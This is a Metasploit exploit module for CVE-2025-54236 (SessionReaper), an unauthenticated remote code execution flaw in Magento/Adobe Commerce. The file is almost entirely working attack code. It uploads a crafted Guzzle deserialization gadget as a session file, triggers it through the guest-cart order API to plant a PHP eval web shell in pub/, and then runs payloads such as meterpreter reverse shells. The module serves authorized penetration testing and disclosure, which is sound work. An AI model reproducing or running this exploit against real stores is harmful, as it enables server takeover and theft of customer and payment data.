📄 Magento SessionReaper Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Magento SessionReaper',
            'Description' => %q{
              This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in
              Magento/Adobe Commerce that allows unauthenticated remote code execution.
    
              The vulnerability stems from improper handling of nested deserialization in the
              payment method context, combined with an unauthenticated file upload endpoint.
    
              The exploit chain consists of three steps:
              1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization
              payload via the unauthenticated /customer/address_file/upload endpoint
              2. Trigger deserialization by sending a crafted JSON payload to the REST API
              endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the
              session savePath to point to the uploaded file
              3. Execute the uploaded PHP code to gain remote code execution
    
              This vulnerability affects Magento 2.x instances configured to use file-based
              session storage. Patched versions will return a 400 Bad Request response instead
              of processing the malicious payload.
            },
            'Author' => [
              'Blaklis',                                    # Discovery
              'Tomais Williamson',                          # Research & Analysis
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-54236'],
              ['URL', 'https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/'],
              ['URL', 'https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397']
            ],
            'Privileged' => false,
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-22',
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
      end
    
      def check_404_response(body)
        lower = body.to_s.downcase
        return false unless lower.include?('no such entity')
    
        lower.include?('cartid') || (lower.include?('fieldname') && lower.include?('fieldvalue'))
      end
    
      def check_500_response(body)
        lower = body.to_s.downcase
        return false if lower.include?('500 internal server error') && !lower.include?('sessionhandler')
    
        lower.include?('sessionhandler::read') ||
          (lower.include?('no such file or directory') && lower.include?('session')) ||
          lower.include?('webapi-')
      end
    
      def check
        random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/')
        cart_id = Rex::Text.rand_text_alphanumeric(4..8)
        res = send_request_cgi({
          'uri' => normalize_uri(
            target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
          ),
          'method' => 'PUT',
          'ctype' => 'application/json',
          'headers' => { 'Accept' => 'application/json' },
          'data' => build_deserialization_payload(random_path)
        })
    
        return CheckCode::Unknown('No response from target') unless res
    
        case res.code
        when 400
          return CheckCode::Safe('Target is patched (returns 400 Bad Request)')
        when 404
          return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body)
        when 500
          return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body)
        end
    
        CheckCode::Unknown("Unexpected HTTP status: #{res.code}")
      end
    
      def exploit
        session_id = Rex::Text.rand_text_hex(32)
        session_filename = "sess_#{session_id}"
        session_save_dir = session_save_dir_from_filename(session_filename)
        exploit_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.php"
        post_param = Rex::Text.rand_text_alphanumeric(4..8)
    
        vprint_status('Generating Guzzle/FW1 deserialization payload...')
        php_stub = "<?php @eval(base64_decode(\$_POST['#{post_param}']));?>"
        guzzle_payload = build_guzzle_fw1_payload("pub/#{exploit_filename}", php_stub)
    
        vprint_status('Uploading session file with Guzzle payload...')
        uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12))
        return unless uploaded_path
    
        save_path = "media/customer_address#{File.dirname(uploaded_path)}"
        unless trigger_deserialization(session_id, save_path)
          fail_with(Failure::Unknown, 'Failed to trigger deserialization')
        end
    
        register_file_for_cleanup(exploit_filename.to_s)
        register_file_for_cleanup("media/customer_address/#{session_save_dir}/#{session_filename}")
        register_file_for_cleanup(datastore['FETCH_FILENAME'].to_s) if target['Arch'] == ARCH_CMD && datastore['FETCH_FILENAME'].present?
    
        execute_uri = normalize_uri(target_uri.path, 'pub', exploit_filename)
        vprint_status("Executing payload at: #{execute_uri}")
    
        phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        encoded_payload = Rex::Text.encode_base64(phped_payload)
        send_request_cgi({
          'uri' => execute_uri,
          'method' => 'POST',
          'data' => "#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}",
          'ctype' => 'application/x-www-form-urlencoded'
        })
      end
    
      def session_save_dir_from_filename(filename)
        "#{filename[0]}/#{filename[1]}"
      end
    
      def upload_session_file(session_id, content, form_key)
        filename = "sess_#{session_id}"
        vprint_status("Uploading malicious session file: #{filename}")
    
        post_data = Rex::MIME::Message.new
        post_data.add_part(form_key, nil, nil, 'form-data; name="form_key"')
        filename_part = 'form-data; name="custom_attributes[country_id]"; ' \
                        "filename=\"#{filename}\""
        post_data.add_part(content, 'application/octet-stream', nil, filename_part)
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'customer', 'address_file', 'upload'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'cookie' => "form_key=#{form_key}",
          'data' => post_data.to_s,
          'keep_cookies' => true
        })
    
        return nil unless res&.code == 200
    
        json_response = res.get_json_document
        error_msg = json_response&.dig('error')
        if error_msg && error_msg != 0
          print_error("Upload failed: #{error_msg}")
          return nil
        end
    
        return json_response['file'] if json_response&.dig('file')
    
        "/#{session_save_dir_from_filename(filename)}/#{filename}"
      end
    
      def build_deserialization_payload(save_path)
        {
          'paymentMethod' => {
            'paymentData' => {
              'context' => {
                'urlBuilder' => {
                  'session' => {
                    'sessionConfig' => {
                      'savePath' => save_path
                    }
                  }
                }
              }
            }
          }
        }.to_json
      end
    
      def trigger_deserialization(session_id, save_path)
        vprint_status("Triggering deserialization with savePath: #{save_path}")
    
        cart_id = Rex::Text.rand_text_alphanumeric(4..8)
        res = send_request_cgi({
          'uri' => normalize_uri(
            target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
          ),
          'method' => 'PUT',
          'ctype' => 'application/json',
          'headers' => { 'Accept' => 'application/json' },
          'cookie' => "PHPSESSID=#{session_id}",
          'data' => build_deserialization_payload(save_path)
        })
    
        return false unless res&.code == 404 || res&.code == 500
    
        vprint_good("Deserialization triggered (HTTP #{res.code})")
        true
      end
    
      # Serialize a string to PHP binary-safe string format (S:)
      # Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is
      # Other characters are escaped as \xHH where HH is the hexadecimal byte value
      def serialize_string_ascii(str)
        result = str.each_byte.map do |byte|
          # Keep printable ASCII characters except backslash (92) and double quote (34)
          next byte.chr if (32..126).cover?(byte) && byte != 92 && byte != 34
    
          # Escape other characters as \xHH
          "\\#{sprintf('%02x', byte)}"
        end.join
        # PHP binary-safe string format: S:length:"content";
        "S:#{str.length}:\"#{result}\";"
      end
    
      def build_guzzle_fw1_payload(target_file, php_content)
        escaped = "#{php_content}\n"
        set_cookie_data = "a:3:{#{serialize_string_ascii('Expires')}i:1;" \
                          "#{serialize_string_ascii('Discard')}b:0;" \
                          "#{serialize_string_ascii('Value')}#{serialize_string_ascii(escaped)}}"
        set_cookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' \
                     "{#{serialize_string_ascii('data')}#{set_cookie_data}}"
        cookies_array = "a:1:{i:0;#{set_cookie}}"
        file_cookie_jar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' \
                          "{#{serialize_string_ascii('cookies')}#{cookies_array}" \
                          "#{serialize_string_ascii('strictMode')}N;" \
                          "#{serialize_string_ascii('filename')}#{serialize_string_ascii(target_file)}" \
                          "#{serialize_string_ascii('storeSessionCookies')}b:1;}"
        "_|#{file_cookie_jar}"
      end
    end